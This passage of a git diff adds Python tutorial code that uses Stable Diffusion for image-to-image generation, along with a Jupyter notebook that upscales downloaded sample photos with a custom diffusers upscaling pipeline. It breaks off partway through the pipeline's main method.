+                latent_model_input = torch.cat([img_latents] * 2)
+                
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']
+
+        return img_latents
+
+    
+    def similar_imgs(self, 
+                     img, 
+                     prompt, 
+                     height=512, width=512,
+                     num_inference_steps=50, 
+                     guidance_scale=7.5,
+                     start_step=10):
+        
+        # get image latents
+        img_latents = self.encode_img_latents(img)
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+
+        text_embeds = self.get_prompt_embeds(prompt)
+        
+        img_latents = self.get_img_latents_similar(img_latents=img_latents,
+                                                   text_embeds=text_embeds,
+                                                height=height, width=width,
+                                                num_inference_steps=num_inference_steps,
+                                                guidance_scale=guidance_scale,
+                                                start_step=start_step) 
+
+        imgs = self.decode_img_latents(img_latents)
+        imgs = self.transform_imgs(imgs)
+        # Clear the CUDA cache
+        torch.cuda.empty_cache()
+
+        return imgs
+
+
+# %%
+device = 'cuda'
+
+# model_name = "dreamlike-art/dreamlike-photoreal-2.0"
+model_name = "CompVis/stable-diffusion-v1-4"
+# Load autoencoder
+vae = AutoencoderKL.from_pretrained(model_name, 
+                                    subfolder='vae').to(device)
+
+# Load tokenizer and the text encoder
+tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer")
+text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder").to(device)
+
+# Load UNet model
+unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)
+
+# Load scheduler
+scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, 
+                                 beta_end=0.012, 
+                                 beta_schedule='scaled_linear', 
+                                 num_train_timesteps=1000)
+
+scheduler_DDIM = DDIMScheduler(beta_start=0.00085, 
+                               beta_end=0.012, 
+                               beta_schedule='scaled_linear', 
+                               num_train_timesteps=1000)
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompts = ["A really giant cute pink barbie doll on the top of Burj Khalifa", 
+           "A green, scary aesthetic dragon breathing fire near a group of heroic firefighters"]
+
+imgs = model.prompt_to_img(prompts)
+
+# %%
+imgs[0]
+
+# %%
+imgs[1]
+
+# %%
+prompt = ["Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"]
+
+imgs = model.prompt_to_img(prompt)
+
+imgs[0]
+
+# %%
+# saving the image
+imgs[0].save("spaceship1.png")
+
+# %%
+# loading the image again
+original_img = Image.open("spaceship1.png")
+original_img
+
+# %%
+import torch
+import gc
+
+### If you get OOM errors, execute this cell
+# del model
+# Clear the CUDA cache 
+torch.cuda.empty_cache()
+gc.collect()
+torch.cuda.empty_cache()
+
+# %%
+!nvidia-smi
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)
+imgs[0]
+
+# %%
+# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt,
+                          num_inference_steps=50,
+                          start_step=40)
+imgs[0]
+
+# %%
+
+
+# %%
+
+
+# %%
+
+
+
diff --git a/machine-learning/stable-diffusion-models/requirements.txt b/machine-learning/stable-diffusion-models/requirements.txt
new file mode 100644
index 00000000..9033779d
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/requirements.txt
@@ -0,0 +1,4 @@
+diffusers
+transformers
+accelerate
+xformers==0.0.16rc425
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md
new file mode 100644
index 00000000..3ae8e02d
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/README.md
@@ -0,0 +1 @@
+# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..3fdee1e8
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
@@ -0,0 +1,7341 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "-C875CYSCygt",
+        "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU diffusers transformers accelerate scipy safetensors"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "mAHWEPSfUlmg"
+      },
+      "source": [
+        "# Hugging Face Implementation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "jor1D7LvDA9l"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "from PIL import Image\n",
+        "from io import BytesIO\n",
+        "from diffusers import StableDiffusionUpscalePipeline\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 465,
+          "referenced_widgets": [
+            "bc72d593b56c42899ff4779e92bcf818",
+            "cabab037d12a455bbd283477e481d4ca",
+            "7cdde9f1b0f1403ababc0e3e120617c4",
+            "28c075d27bf8437c99b4fa8091d4d2c0",
+            "7c5bcff9ea9344dca52dbaa4a6545b50",
+            "2b68707a9749479cab4b4ecd124d87cb",
+            "e7274e83d2c44080bbbb2fc5ec79dfee",
+            "238d055bf5ff4891b2e9c6aa28a89fad",
+            "66a8f48777064cab94ebdfb44044fec7",
+            "c883ad6804cd4f628494b1eb7f432e51",
+            "6f1c7458863047598f98861765f325dd",
+            "6d0c44b7df564b87a2a688d770188184",
+            "502d0b0ef4c549b485c049a2dae9b4f1",
+            "67e1ee8ac39743d2a50db01595591f22",
+            "419cb861b6e84999a3708fd19b0295c6",
+            "fcc7b1147ad94a01ae49b4268e85d310",
+            "f931614414ba46adaab4c0522e65ebf8",
+            "e926a97d3f6149318dd6f01d17e90dd5",
+            "58bccc7add0a45d8b8640c42d89a864c",
+            "b4209eed23cb45038a5c614bfe8bf3b6",
+            "2e922ee442bc49f8b0d7d4bd79d92683",
+            "4d9d00362c1c4f48b5cddc1783956732",
+            "8d91958b962649479d9d85927ea0e3e0",
+            "2f1c260b17204c08870bac68408944c4",
+            "9f17b8692b824c0cb9a98cea381699a9",
+            "9a8c5af4272b4da0ba4aafa4da89817b",
+            "e04b95f508b7431c9f4ee9159e3b5b13",
+            "5896923dddc0466a9023c09c738f404a",
+            "f874ed5ecd6f4eed976ed24b0be4ae51",
+            "cdcf280e7a3043c2a1d59e0eea379d96",
+            "2e945d3f81204a538874a0a832102d15",
+            "417a14ed83ba4535bf47a39b9298aa4f",
+            "c797a3a49d1d44598e8810817eac04f6",
+            "659bd00aed7f4a41a843432966a1ccbf",
+            "274e736175d34926a0c614192288e510",
+            "a266a0d0bdde4a3aa09fec6a0a00abed",
+            "f78f911cd0ac4cdc8fdcbcb29f1a201b",
+            "9e0fde0538f84469bd62e9ea9f589b4f",
+            "bce74d8ba4dd4a35bd276ba2dbf0ffd1",
+            "f24b18d71065474a9f169b4fd66898f6",
+            "bc60bbefdc2a490588dd8f58327fd264",
+            "3119598ffcab4d6f9d1642ee595736ee",
+            "90c7965cfde540158d9e7cb049c2d7d3",
+            "b991b21d18ec471fb18b291a0c10aa6e",
+            "76fd2fe6247a48b7b3a6cc6eef8c9fa7",
+            "29da49469545454997e755839f8c156d",
+            "58aa60b3b1af45d2bdd8870dedd3cb67",
+            "f931d10a75ab4aafb1d6b92a0ba622b3",
+            "b67319578dc84245ad16cb8d25d3173c",
+            "d62c5143fa1544ba9e2d22555dc6c3f9",
+            "ba72519befe047eabb826d1f7ec0e39c",
+            "e76b29381c114f808b3454fb122e8d10",
+            "a1d133bc8fe344e2aed80fe5155177c3",
+            "5d3f04417ce64f80a2843e74bf6208f7",
+            "341fa26d73394e6cb71498a9c95b458c",
+            "6030f4bc6af8461abdc66e4599ef3f1f",
+            "818b00fb8ff04eadb9ccd1bdfe192807",
+            "44480a036c3c4442baa95d6288e83546",
+            "50949912a3ee403e8ddb328e62b61c0d",
+            "8dd862f24b164fc68664c30b3d241e62",
+            "aea53b42c35947c58d2c113bd2043078",
+            "02ce6e12de0f4ff1ab8029cf16e5fb99",
+            "520e09d44ecf488b93694eebe4a02147",
+            "5959385589b344b2bd8fc108067db8a3",
+            "b5a46aec8d594d02b618b9d59e4f4518",
+            "9ee85e252d32428ea44a91c71cd62a36",
+            "bfc87d61a154451294fa790fc30075ea",
+            "c8cabf1d8ffe421296725d8494ba0d3b",
+            "28fe7cfc4f4048eca1120a7228dcd629",
+            "9ecd3535823549bbbcbf3f131704d3eb",
+            "03b9fb0d0fa44ac8bf1a6aa678ff82c8",
+            "59b6eeeaf9464da891bf214ef1bbb7c2",
+            "7d3baaa3ab784895a59534261f43ce7d",
+            "8f487d06f9834f1b8dd0a63ffec62436",
+            "ee5e249b357649ab95d493d940bc3b01",
+            "9af01c4399c74223b5d7f94bd48d6952",
+            "aa44d82861804483b44e0f893b698b72",
+            "b7aa53a4de824d7fbec2a07c1771bc24",
+            "17c87915e01b4d2fa79042759bf1a57d",
+            "bafabfceff6e4f76b900878a4077337e",
+            "5d1c6a49ce6f4596946a2fd91bec3312",
+            "795329002e034ec4aead224cf74ea361",
+            "29fb67ab990343b6a374b35718b8a6c1",
+            "0854db4c71b449a9b15e994a38a1ca13",
+            "cd437bc3e2194f1a8c5e83ec98745b58",
+            "18ba1c9da9714f2494c06570e4dc1d64",
+            "085ee070cea44624806bcc7ada5ae36e",
+            "45148fd42fdb47b3a5424faa3c488c25",
+            "fb2398f1e5ff43f7a2f81bd51bf58e2a",
+            "53fa5e54123446199d57c27c3ee8b091",
+            "07a431a9456648b6bcbfa899ee0014ac",
+            "2f972961c0eb411ca45b8af05cc05e3b",
+            "6525d3514cee42f3bd14bdf898b63ad2",
+            "c8ba37c669974bbea2face17223d2bb4",
+            "c87c0b939bbe4e56b46fca4aa580f75a",
+            "639d6afb1b0440f98ce7e26cb621a111",
+            "7a9ce1cc3d71457797b0b1ca2831d514",
+            "c826a36c99ae462abccdc59266c404d3",
+            "5ef86b91d359434a9aa4787dc727cb1b",
+            "62bd9e1add374b9e90c54275bd2e0449",
+            "0d89ddfa9593441097ce8e42614ef775",
+            "e85ceff770654ef1bd935f54ca32ee07",
+            "d0716d01bfdf43ba88f8bbfd63d3285a",
+            "f6579ff0c08648309711a654ec3de748",
+            "665a3a25e6d543d79e2e321aec4954aa",
+            "d3971f94fa5f433580509a27ce3ad017",
+            "d801dfb1d399475e995ca9106f9b3a4d",
+            "ed75698d0ffe4bcf886c72d276bbee17",
+            "a9ab859e76814985877a4bacdb04e95a",
+            "1df97f1113c34b7eb89c7d1c6a81b3bd",
+            "fc9a8403148c431e8b0200d40c6efcb7",
+            "8b24a6ee676942ddaa27f44902ef2ac5",
+            "5b74c15d312f404e88323771b08b0aeb",
+            "7ad5acf646b44af2a1d8558abbb59199",
+            "d22523983b9a4c71a3057f3a281895ee",
+            "c081010577e7490eae450d69b0458a74",
+            "d011d28093544ae692f90a7380908275",
+            "a25cd36e4deb410f9ee54a92a18c939c",
+            "00cdbd64ce7d4b5a835a550ffc6b3510",
+            "7cc78829c6b744c380f52af44b49802a",
+            "03856828685f4f9791a0c00f9b4f5ed5",
+            "80aad8d6ac1b4b7780cd63deed9ceb11",
+            "0fcb664708324ec1bc56c4daa4a2dd15",
+            "37e24969e35c4099933ab57fac8b2599",
+            "efb86ed04a0d477794e70dc92219399b",
+            "3672f34ff79b417abb390592a3b9ed2b",
+            "5af1c44c0f434510abd7fe9d76f263da",
+            "895dd88b169e4688a51873bb1b3d2cd9",
+            "d3165abbffbc4da3bd4f0cb6f3437140",
+            "5a1be5246f2443858bd6933a89a68389",
+            "10d895cb5166417fa2b4cc0d2feb7b6f",
+            "23b55638314c4e2b967f85ab40042a6c",
+            "9c741e36450b4c66875df9dc3ba07507",
+            "cd9c9d32567f4e5aa9291f66b08490bf",
+            "c4995db7a62844b4a00daaf55847cabd",
+            "72fc113c125648538df5059fb578ae19",
+            "3943882166bb4470a800d9563f9e53a2",
+            "ad07cccdd8d44a9ab5e3458e8d902ac6",
+            "ff88d9a5f7d64ad7bb0f09f6c71543f1",
+            "080c7086e8684bb3bb857d23f426d5dd",
+            "37e74a92120d40ab99b8a3efeb397bd8",
+            "9ba492d205294bc0a8d07985ed271358",
+            "0a49275d970741f9b19f24569b80491a",
+            "4178b1767a614f89aa62f12a4e3a7350",
+            "c909bafccc65402fa93afea87f1b784e",
+            "6c32232cfb734ac3a3204a22c414fc18",
+            "1f37677826544166a0b63d36c9c3edac",
+            "a4d93e9fee48468281afac25f551806c",
+            "91f32130b9fc47ceaae99521c0b70015",
+            "e8bec5477f7c43c1a55c852ef8b7cb95",
+            "7a4e5fdddcd34b6cb658b94db24ba474",
+            "e6942466051e4a6a97c36b56d8d4e0c2",
+            "a8dbb00149f148ceaee2474c4304c902",
+            "f3c0042a67e34e72b1088b60c11ba2d0"
+          ]
+        },
+        "id": "l3QZf9-UDEb0",
+        "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721"
+      },
+      "outputs": [],
+      "source": [
+        "# load model and scheduler\n",
+        "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n",
+        "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+        "pipeline = pipeline.to(\"cuda\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "1rZBf5X4VfbQ"
+      },
+      "outputs": [],
+      "source": [
+        "def get_low_res_img(url, shape):\n",
+        "    response = requests.get(url)\n",
+        "    low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n",
+        "    low_res_img = low_res_img.resize(shape)\n",
+        "    return low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "VSWlrXyIDGSo",
+        "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "c1dc0d80451c4d098f16eb6ec7eed752",
+            "d4c5db5f7ffe42beb2065e14cbdd755d",
+            "accd8a5f56cf41c5af297f8bf93f7058",
+            "824b0b410fed4ea1b5bc7f88236fc3e8",
+            "a6b2ca41ffb24b9193a83fd9a4c24a8c",
+            "bc9783a6d9d0437b881b01cad81c0173",
+            "9e5ef9fe15314ce3bf13e61994851485",
+            "ed9e0cfb4635476f9e31c5b48aeafde8",
+            "396aee75c5954aa9b634d79c18177977",
+            "c5f787d7f16542baa5a5657c3ecb14a0",
+            "be0a3bc217b04b2dbd06a90141c0dd35"
+          ]
+        },
+        "id": "hPtKNnwSDA_u",
+        "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "9c2ff534109548fc8cab92f3b0aefc71",
+            "e417a487b9ab44d68bf5d4155f4ff339",
+            "ce0bc6a269b841e59b3c1b00796b8605",
+            "b014fb9554fb4f61a8d44135a6ad4954",
+            "c30445a77e81411bbad4f90b8c54bc35",
+            "c2ccf29c76d1461c8e820cdd1091684a",
+            "42248bb1fb38481eaa292dbca2d68e38",
+            "ac71f4fe6e804f19b2529c82e5a42049",
+            "518150c24b25401d92cf483e5ecb0253",
+            "d612163ad6d24d91a6d7ee758d8d6367",
+            "ab1c2c3e457944acb16508cf7a721290"
+          ]
+        },
+        "id": "I1hCWlwXU5ij",
+        "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "4H0IkHfuDBB5",
+        "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "xxVVHJAeDBEM",
+        "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "0c21001820524963b1214a2738c28584",
+            "ea062db0a1ad43af805bf2d86d26d369",
+            "2218df295404427eb6086c25f41946c5",
+            "682dc899e5ee4e24a9c0f1fc928fea6c",
+            "f8c3945c2c554cc9b7ea7435525c4ab4",
+            "b9cf936d26124cad959de16fcf5bea63",
+            "b3ae18d50eb4415b950f98bb38362207",
+            "0df5b95ccc3d4550bb1be7c001f54577",
+            "63a7a29ac462471eb67b275c68faff42",
+            "1ae88e18373a4322bddf0e51e5460a89",
+            "9b2140d07da744348068f013152b1160"
+          ]
+        },
+        "id": "UKtH894dXWHN",
+        "outputId": "44bfe391-7abe-4b99-bfd3-b19e755bfdaa"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an old lady\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "cf11071b7b114118a8b0b659167fa09e",
+            "03bce4ac84fd40d485b023e21fe65c4f",
+            "d0e9965e6aa4483da2dfa546b896e645",
+            "22338ed9cec54338ad33267ed579603a",
+            "622d32a9bbda46fca3ee0733be303765",
+            "ec0c44e82a814774823e60634d678b0d",
+            "e71abb2ba1b546ff9d7acd0c174f60d4",
+            "1237bd63fa814b57bbd9741296d71f46",
+            "5b3ca63a1af5452cb81fde6020fd9c53",
+            "a5971d5b793545a3845fbe1029b557e1",
+            "8384173365364cd5996018a775b167e2"
+          ]
+        },
+        "id": "L8fnlZsaDBHw",
+        "outputId": "9215669a-61be-4a6e-cd6b-85d212df6517"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an iranian old lady with black hair, brown scarf, rock background\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "OTJNWtuyXOnE",
+        "outputId": "fe9eb4f3-f7b9-481f-b17b-e2028737141e"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "dXXzMj7vXf5W",
+        "outputId": "1895b5c9-d87e-48e8-c580-97a3b81838ed"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg/"\n",
+        "shape = (450, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 453,
+          "referenced_widgets": [
+            "64373eefa4884b3084975549efcbd7fe",
+            "d8b3f3c7b8394b5580d8541f20c090ae",
+            "634af1f0b6894726bebb7b546c667169",
+            "5b89e69b011a40918b1acc0adf141874",
+            "9c01417376444eed820394ef843c0be3",
+            "db833b8a924f43208063cdc7b74220f7",
+            "d74c7ced9e5841e0a3635bf848912874",
+            "6a72b26cbdf041e7a8331fdc1642dee5",
+            "3c4dca0b51954031905bada22feef684",
+            "1e276839600443fa82ca0ab00409fd99",
+            "639d147ac3674094be21de9f3c11477c"
+          ]
+        },
+        "id": "xjH0CWRHXf7o",
+        "outputId": "b1ed8851-6243-43b8-d995-93129640b70d"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"zebras drinking water\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 419
+        },
+        "id": "ydbUyEFvXf_E",
+        "outputId": "3028b021-c4a0-4f19-8a2e-0a3e4b19f348"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((1800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "MFt4Y1AoYWse"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Ng2oJwHqYWvz"
+      },
+      "outputs": [],
+      "source": []
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "NiM8uOTr9DK3"
+      },
+      "source": [
+        "# Custom\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "yCuWhxws9D24"
+      },
+      "outputs": [],
+      "source": [
+        "from tqdm import tqdm\n",
+        "from torch import autocast"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "T7PrARPl9EN2"
+      },
+      "outputs": [],
+      "source": [
+        "class CustomSDUpscalingPipeline:\n",
+        "    \"\"\"custom implementation of the Stable Diffusion Upscaling Pipeline\"\"\"\n",
+        "\n",
+        "    def __init__(self,\n",
+        "                 vae,\n",
+        "                 tokenizer,\n",
+        "                 text_encoder,\n",
+        "                 unet,\n",
+        "                 low_res_scheduler,\n",
+        "                 scheduler,\n",
+        "                 image_processor):\n",
+        "\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.low_res_scheduler = low_res_scheduler\n",
+        "        self.scheduler = scheduler\n",
+        "        self.image_processor = image_processor\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_text_embeds(self, text):\n",
+        "        \"\"\"returns embeddings for the given `text`\"\"\"\n",
+        "\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text,\n",
+        "                                    padding='max_length',\n",
+        "                                    max_length=tokenizer.model_max_length,\n",
+        "                                    truncation=True,\n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "        return text_embeds\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds for classfier free guidance\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "\n",
+        "    def transform_image(self, image):\n",
+        "        \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n",
+        "\n",
+        "        image = self.image_processor.postprocess(image, output_type='pil')\n",
+        "        return image\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n",
+        "        \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n",
+        "\n",
+        "        image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n",
+        "        # scale the initial noise by the standard deviation required by the scheduler\n",
+        "        image_latents = image_latents * self.scheduler.init_noise_sigma\n",
+        "        return image_latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def denoise_latents(self,\n",
+        "                        prompt_embeds,\n",
+        "                        image,\n",
+        "                        timesteps,\n",
+        "                        latents,\n",
+        "                        noise_level,\n",
+        "                        guidance_scale):\n",
+        "        \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n",
+        "\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(timesteps)):\n",
+        "                # duplicate image latents to do classifier free guidance\n",
+        "                latent_model_input = torch.cat([latents] * 2)\n",
+        "                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n",
+        "                latent_model_input = torch.cat([latent_model_input, image], dim=1)\n",
+        "\n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(\n",
+        "                        latent_model_input,\n",
+        "                        t,\n",
+        "                        encoder_hidden_states=prompt_embeds,\n",
+        "                        class_labels=noise_level\n",
+        "                    )['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n",
+        "\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n",
+        "\n",
+        "        return latents\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def __call__(self,\n",
+        "                 prompt,\n",
+        "                 image,\n",
+        "                 num_inference_steps=20,\n",
+        "                 guidance_scale=9.0,\n",
+        "                 noise_level=20):\n",
+        "        \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n",
+        "\n",
+        "        # encode input prompt\n",
+        "        prompt_embeds = self.get_prompt_embeds(prompt)\n",
+        "\n",
+        "        # preprocess image\n",
+        "        image = self.image_processor.preprocess(image).to(self.device)\n",
+        "\n",
+        "        # prepare timesteps\n",
+        "        self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n",
+        "        timesteps = self.scheduler.timesteps\n",
+        "\n",
+        "        # add noise to image\n",
+        "        noise_level = torch.tensor([noise_level], device=self.device)\n",
+        "        noise = torch.randn(image.shape, device=self.device)\n",
+        "        image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n",
+        "\n",
+        "        # duplicate image for classifier free guidance\n",
+        "        image = torch.cat([image] * 2)\n",
+        "        noise_level = torch.cat([noise_level] * image.shape[0])\n",
+        "\n",
+        "        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n",
+        "        num_channels_latents = self.vae.config.latent_channels\n",
+        "        batch_size = prompt_embeds.shape[0] // 2\n",
+        "        height, width = image.shape[2:]\n",
+        "        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n",
+        "\n",
+        "        # denoise latents\n",
+        "        latents = self.denoise_latents(prompt_embeds,\n",
+        "                                       image,\n",
+        "                                       timesteps,\n",
